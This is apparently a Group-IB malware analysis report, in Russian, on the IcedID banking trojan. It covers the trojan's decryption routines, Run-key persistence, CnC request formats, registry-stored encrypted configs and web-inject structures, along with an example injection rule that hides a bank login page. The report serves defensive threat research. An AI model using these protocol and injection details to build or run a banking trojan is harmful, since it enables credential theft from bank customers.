Наследник Zeus: чем опасен троян IcedID для клиентов банков

Эксперты Group-IB проанализировали троян, атакующий клиентов банков США, и выложили в публичный доступ результаты глубокого разбора формата динамических конфигурационных данных с Python-скриптами и информацию по CnC-серверам.

В ноябре 2017 года команда исследователей из IBM X-Force опубликовала отчет по новому трояну — IcedID, который нацелен преимущественно на клиентов американских банков. Бот обладает многими возможностями печально известного вредоносного ПО Zeus, в том числе: загружает и запускает модули, собирает и передает на сервер аутентификационные данные, информацию о зараженном устройстве, осуществляет атаку man-in-the-browser (MITB). Несмотря на то, что по своим функциональным возможностям новый троян оказался похож на другие популярные банкеры — Trickbot, GOZI, Dridex, активно атакующие клиентов банков, IcedID использует нестандартный бинарный формат хранения конфигурационных данных. Другой отличительной особенностью этого вредоносного ПО является возможность развертывания прокси-сервера прямо на зараженной машине для проведения атаки MITB.

Текст: Иван Писарев, специалист по анализу вредоносного кода Group-IB

Сразу отметим, что IcedID не так сильно распространен по сравнению с другими троянами, однако уже сейчас имеет достаточно функциональных возможностей для достижения поставленных перед ним задач, из которых главной является кража учетных данных жертв. Достигнуть этого можно многими способами, начиная от банальной кражи файлов и записей реестра с зараженного компьютера, и заканчивая перехватом и изменением зашифрованного трафика браузера (атака man-in-the-browser).

В случае IcedID происходила кража данных из учетных записей: Windows Live Mail, Windows Mail, RimArts, Poco Systems Inc, IncrediMail, The Bat! и Outlook. Атака MITB производится при помощи Proxy-сервера, который троян поднимает на зараженном устройстве, тем самым пропуская весь сетевой трафик через себя и модифицируя его. Также IcedID имеет модуль обработки команд от сервера, позволяющий удаленно загружать и запускать файл (к примеру, в исследуемом случае семпл загрузил модуль VNC, программный код которого имеет схожие участки кода с IcedID).

Использование Proxy-сервера для MITB является нетипичным поведением для данного типа троянов. Чаще происходит встраивание вредоносной программы в контекст браузера и перенаправление вызовов функций из стандартных библиотек на ее функции-обработчики (пример: WinHttpConnect(), InternetConnect(), InternetReadFile(), WinHttpReadData() и т.д.). Ранее трюк с Proxy-сервером уже был использован в GootKit.

IcedID распространялся с помощью другого вредоносного ПО — Emotet (в настоящее время он часто используется как загрузчик, хотя имеет расширенные функциональные возможности) и уже на старте включал в себя обширный список современных методов хищения пользовательских данных.

Сейчас троян имеет достаточно слабые механизмы противодействия анализу (шифрование строк, header corrupt) и не имеет никаких методов VM-detect. С точки зрения исследователя, вредоносное ПО все еще находится в разработке и данные механизмы защиты будут добавлены позже.

Система киберразведки Group-IB Threat Intelligence не обнаружила продажи IcedID на тематических форумах, что означает либо появление новой группы на арене банковских троянов, либо продажу трояна по приватным каналам. Цели бота, судя по динамическим конфигурационным данным (далее – конфиги), расположены в основном в США.

Данная статья включает в себя подробный анализ трояна, глубокий разбор формата динамических конфигов с Python-скриптами и информацию по CnC.

Техническая часть

Общее описание работы трояна

Изначально секция .data трояна зашифрована. В первую очередь после запуска он расшифровывает секцию по алгоритму:

Переменные initial_seed и size_seed находятся вначале секции данных (первые 8 байт секции), после чего находятся зашифрованные данные размером size байт. Функция make_seed() – уникальная функция генератора псевдослучайных чисел (ГПСЧ) для IcedID, к которой мы еще неоднократно вернемся. Python-вариант функции вы можете найти тут.

Изначально бот содержит зашифрованные строки. С целью облегчения анализа для IDA Pro был написан скрипт, расшифровывающий строки (необходимо вставить адрес функции расшифрования в вашем семпле).

Следующий этап – добавление обработчика исключений при помощи функции SetUnhandledExceptionFilter(). При возникновении любого исключения в процессе работы приложения просто происходит его перезапуск.

После добавления обработчика исключений троян собирает информацию о зараженной системе:

1. Версия ОС
2. Номер сборки ОС
3. Версия Service Pack
4. Разрядность системы
5. Тип ОС

Приложение создает дескриптор безопасности: D:(A;;GA;;;WD)(A;;GA;;;AN)S:(ML;;NW;;;S-1-16-0), после чего выделяет память для логирования информации в процессе работы трояна. Пример логируемых строк (строки были получены при помощи скрипта в IDA):

1. E|C|IN|INS|ISF|CP %u
2. I|C|IN|INT|CI| %u
3. W|C|IN|INT|CI|CRLL

IcedID может принимать несколько параметров. Среди них:

• --svc= — сохраняет строку из параметра в реестр по ключу с именем IcedID_reg(«*p*»), где IcedID_reg(str) — функция генерации имени ключа от строки str (алгоритм генерации имен ключей реестра будет описан позже), после чего троян обращается к событию с именем Global<%Строка из случайных символов%>. В случае возникновения ошибки бот создает копию своего процесса с параметром /w=. Если и это не удалось сделать, создает значение в реестре:

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun<%Строка длины 9 из случайных символов алфавита [a-z]%>

тем самым обеспечивая себе персистентность в системе. Данный ключ предназначен для первоначального запуска трояна.

• /u – по умолчанию вредоносное ПО пытается запустить себя от имени администратора домена (посредством программы runas). Если присутствует данный флаг, троян не производит данную операцию и просто создает свою копию в директории C:Users<%username%>AppDataLocal<%Строка длины 9 из случайных символов алфавита [a-z]%> с именем <%Строка длины 9 из случайных символов алфавита [a-z]%>.exe, и записывает путь к файлу в реестр, тем самым обеспечивая себе персистентность в системе.

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun<%Строка длины 9 из случайных символов алфавита [a-z]%>

Похоже, данный ключ используется при обновлении банкера. Перед перезапуском троян “засыпает” на 5 секунд.

• /c – перед исполнением вредоносных функций троян «засыпает» на 5 секунд
• /w= — сохраняет строку из параметра в реестр по ключу с именем IcedID_reg(«*p*»)

После обработки параметров приложение обращается к реестру и достает оттуда динамические конфигурационные данные, которые содержат CnC-адреса, а также Web-инжекты. Формат хранения данных в реестре описан в следующих разделах.

После обращения к реестру программа создает поток, который раз в 5 или 10 минут (в зависимости от внутреннего флага) обращается к CnC с целью получения команд. Тут стоит отметить нестандартный механизм «засыпания» бота между обращением к CnC: разработчики не стали использовать стандартную функцию Sleep(), вместо этого они создали событие в несигнальном состоянии и не переводя его в сигнальное состояние вызывают функцию WaitForSingleObject(). Функция создания потока обращения к CnC:

Аналог функции Sleep() в IcedID:

Долгий промежуток обращения к серверу, а также нестандартная «функция засыпания» скорее всего предназначены для противодействия анализу.

Для скрытия трафика между сервером и приложением используется протокол SSL.

После запуска потока бот «поднимает» на локальной машине Proxy-сервер с целью обработки трафика на зараженной машине.

Протокол общения сервера и зараженного устройства будут разобраны в следующих разделах. Однако стоит отметить, что вредоносная программа по команде сервера может обновлять конфиги, запускать и останавливать VNC-сервер, исполнять команды cmd.exe, загружать файлы.

Взаимодействие IcedID и CnC-сервера

Список CnC-адресов хранится в теле банкера в зашифрованном виде, а также в реестре в виде динамического конфига. Взаимодействие между сервером и трояном осуществляется при помощи протокола HTTPS. Данные отправляет на сервер POST-запросами, для получения данных использует GET.

Строка запроса к серверу имеет следующий вид:

<%CnC%> /forum/viewtopic.php?a=<%Integer%>&b=<%Long integer%>&d=<%Integer%>&e=<%Integer%>&<%Другие данные%>

Значение полей:

• a – тип запроса, данное поле может принимать значения:
  

  Значение	Действие
  0,1	Отправить информацию о зараженной машине
  2,3	Отправить другие данные на сервер
  4	Получить последнюю версию динамических конфигов и поместить их в реестр по ключу с именем IcedID_reg(«*cfg1»)
  5	Получить последнюю версию динамических конфигов и поместить их в реестр по ключу с именем IcedID_reg(«*cfg0»)
  6	Получить последнюю версию динамических конфигов и поместить их в реестр по ключу с именем IcedID_reg(«*rtd») (CnC-адреса)
  7	Получить последнюю версию VNC-модуля
  8	Получить последнюю версию бота

• b – ID бота
• d – флаг
• e – константа, находится непосредственно в коде бота

Далее значения полей зависят от поля «a». Если оно равно 0 либо 1, то запрос выглядит следующим образом:

POST /forum/viewtopic.php?a=<%0 или 1%>&b=<%BotID%>&d=<%Integer%>&e=<%Constant%>&f=<%Cfg1 Checksum%>&g=<%Cfg0 Checksum%>&h=<%Rtd Checksum%>&r=<%VNС Checksum%>&i=<%Время запроса%> HTTP/1.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length:

Тело запроса содержит информацию о зараженной машине. Информация предоставляется в виде:

k=<%String%>&l=<%String%>%j=<%Integer%>&n=<%Integer%>&m=<%String%>

Где:

• k – имя компьютера в UNICODE
• l – участник домена в UNICODE
• m – Информация о системе:
  1. Версия ОС
  2. Номер сборки ОС
  3. Версия Service Pack
  4. Разрядность системы
  5. Тип ОС

Если поле равно 2 либо 3, то запрос выглядит следующим образом:

POST /forum/viewtopic.php?a=<%3 или 2%>&b=<%BotID%>&d=<%Integer%>&e=<%Constant%> HTTP/1.1
Connection: close
Content-Type: application/octet-stream
Content-Length:

В противном случае запрос выглядит следующим образом:

GET /forum/viewtopic.php?a=<%4-8%>&b=<%BotID%>&d=<%Integer%>&e=<%Constant%>&o=<%Object checksum%>
HTTP/1.1
Connection: close

Content-Type: application/x-www-form-urlencoded
Content-Length:

Примеры запросов представлены на рисунках ниже. Заголовок пакета при обращении к серверу:

Тело сообщения:

Троян может принимать команды от сервера. Команды представлены в виде целочисленных значений. Все команды приходят боту в виде строк, параметры которой разделены символом «;». Программа может обрабатывать 23 команды:

В случае успешного исполнения команды троян отправляет на сервер строку «True», иначе «False».

В случае получения команды на запуск модуля расширенных команд приложение отправляет на сервер два байта, после чего ожидает ответ. Первый полученный от сервера байт соответсвует расширенной команде из таблицы:

Как видно из представленного списка IcedID обладает широким спектром возможностей для полного управления зараженной машиной. Даже если оператор столкнется с проблемой отсутствия какой-либо функции, он просто загрузит при помощи трояна другую программу и выполнит поставленные перед ним задачи. К примеру, в конце декабря 2017 года нами было зафиксировано распространение с помощью данного банкера TrickBot’a.

Информация о конфигурационных данных

Генерация имен для записей в реестре

Все конфигурационные данные, которые программа получает от сервера, хранятся в реестре зараженного устройства (за исключением VNC-модуля, который хранится в директории %TEMP% в формате tmp%0.8X01.dat).

Имена ключей реестра, в которых хранятся интересующие нас конфигурационные данные, вычисляются при помощи следующей функции:

Как видно из представленного рисунка, имя ключа – MD5-хеш значение от двух переменных – str и computerSeed. От значения первой переменной зависит какого типа данные хранятся в переменной реестра. К примеру, при значении переменной – *cfg0 или *cfg1 ключ реестра хранит Web-инжекты, при значении *rtd ключ хранит список CnC.

computerSeed – уникальная для конкретного пользователя переменная. Высчитывается она на основании SID’a пользователя. В скрипте представлена python-версия вычисления данной переменной.

Полный путь к конфигурационным записям в реестре:

HKEY_CLASSES_ROOTCLSID<%MD5-значение в формате: {%0.8X-%0.4X-%0.4X-%0.4X-%0.4X%0.8X}%>

Описанный выше алгоритм как раз и является алгоритмом генерации имени IcedID_reg(), которые неоднократно упоминался выше.

Мы обнаружили следующие значения строк, которые учувствуют в генерации имен реестра важной для банкера информации:

• *cfg0 — содержит в себе общий список Web-инжектов
• *cfg1 — содержит в себе список адресов и строк для полной кражи данных страницы
• *rtd — список CnC-адресов
• *bc* — уведомляет о состоянии модуля обработки расширенных команд от сервера. Если данная запись присутствует в реестре – модуль запущен
• *p* — сохраняет параметры запуска с ключами --svc= и /w=

Структура хранения динамических конфигурационных файлов

Динамические конфиги хранятся в реестре в зашифрованном виде. VNC-сервер, который находится в %TEMP% директории, зашифрован аналогичным образом.

Для шифрования данных используются два алгоритма: собственный алгоритм трояна и RC4. Схема алгоритма расшифрования:

Давайте перейдем от теории к практике. Изначально зашифрованные данные после прочтения из реестра:

После получения данных вредоносная программа расшифровывает их при помощи собственного алгоритма:

И мы снова встречаемся с функцией make_seed()!

После расшифрования имеем (обратите внимание на адреса – расшифровывается в том же участке памяти):

После уже второго расшифрования в памяти мы видим следующее:

После данные разархивируются и парсятся. Примечательно, что перед освобождением памяти данные обратно зашифровываются по RC4 — защита от динамического анализа приложения.

Дальнейшая структура данных зависит от типа конфигурационных данных. К примеру, конфигурационные данные с префиксом rtd хранятся в формате:

typedef struct CNCStruct {  
    char md5sum[128];
    int checksum;
    BStrings cnc[N];
} CNCStruct;

typedef struct BStrings {
    int length;
    char str[length];
} BStrings;

Список CnC-адресов в одном из исследований:

Перед обращением к CnC-адресам из полученного списка бот проверяет цифровую подпись. Ключ для проверки подписи хранится в теле бота в зашифрованном виде.

Конфигурации с префиксом cfg хранятся в формате:

typedef struct CfgStruct {
    int checksum;
    int elements_count;
    char config[];
} CfgStruct;

В исследуемом случае мы видели следующие данные:

Данные хранятся в уникальном бинарном формате, который будет рассмотрен далее.

Алгоритм генерации ключей реестра, а также расшифрования конфигурационных данных вы можете посмотреть в скрипте.

Алгоритм разбора конфигурационных данных

После расшифрования данных программа парсит их и сохраняет в виде связного списка, который в дальнейшем участвует при анализе трафика на зараженном устройстве (MITB). В первую очередь данные разбиваются на блоки, которые имеют структуру:

typedef struct BaseBlock {
    int size;
    char type;
    char global_flag; 
    char data[size - 6];
} BaseBlock; 

Структура поля data зависит от флага type. Флаг в данной структуре говорит о том, что происходит при обнаружении строки в URL/теле запроса. Поле может принимать следующие значения:

Структура поля data если type равен 0x40 или 0x41:

typedef struct ConfigBlock {
    BStrings patterns[N];
    int(0);
} ConfigBlock;

Иначе структура поля:

typedef struct BaseBlock {
    int typeSizeStr;
    string urlStr;
    int flagSize;
    char flag[flagSize];
    int firstOptStrSize;
    char firstOptStr[firstOptStrSize];
    int secondOptStrSize;
    char secondOptStr[secondOptStrSize];
    int thirdOptStrSize;
    char thirdOptStr[thirdOptStrSize];
} BaseBlock; 

Давайте поближе рассмотрим один из блоков семпла:

Обратим в первую очередь внимание на поле «Config block type» в блоке «Config block common information». Оно равно 0x11 – значит, что при загрузке пользователем страницы, URL которой попадает под правило регулярного выражения ^[^=]*/wcmfd/wcmpw/CustomerLogin$ произойдет замена в теле страницы строки <body (второй аргумент) на строку <body style=«display: none;» (третий аргумент).

В памяти приложения для каждого из типов создается связный список. Алгоритм парса на связные списки представлен на рисунке ниже в виде скрина IDA Pro. Python-скрипт парса конфигурационных данных вы можете увидеть тут.

Информация по CnC

За несколько месяцев наблюдения за развитием IcedID мы обнаружили много доменов, которые троян включал в список динамических конфигов в раздел CnC. Домены представим в виде соответствия (e-mail с которого происходила регистрация → домен):

Давайте теперь подробно рассмотрим пользователей, на которые были зарегистрированы домены:

И наконец, рассмотрим хронологию изменения IP-адресов доменов. В таблицу были добавлены все IP-адреса начиная с ноября 2017 года:

Изучив представленные данные, можно резюмировать, что все домены регистрируются на почту, сгенерированную при помощи сервиса временной почты. Местоположение фиктивного региструющего лица — США, в то время как сами домены расположены в России, Украине, Нидерландах, Китае, Казахстане и Германии (в последнее время наблюдается тенденция «переезда» доменов на Украину и в Германию). Все домены находятся в доменных зонах «com» и «net». Алфавит, из которого состоит домен, включает в себя только буквы английского алфавита. На стороне CnC поднят Web-сервер OpenResty.

Заключение

Несмотря на «древность» зевсоподобных троянов, их актуальность не падает. Как результат – появление IcedID на арене троянов, нацеленных на клиентов банков. Хотя банкер уже на старте имел обширный список возможностей, он все еще совершенствуется: усложняются методы распаковки, происходит расширение списка целей. Вероятнее всего в дальнейшем вредоносная программа обзаведется механизмами противодействия анализу, а CnC-сервер начнет избирательно отдавать Web-инжекты зараженным устройствам. Пока же троян не удовлетворяют всем требованием своих «пользователей», о чем говорит использование в декабре прошлого года TrickBot’а совместно с IcedID.

Автор: EditorGIB

Источник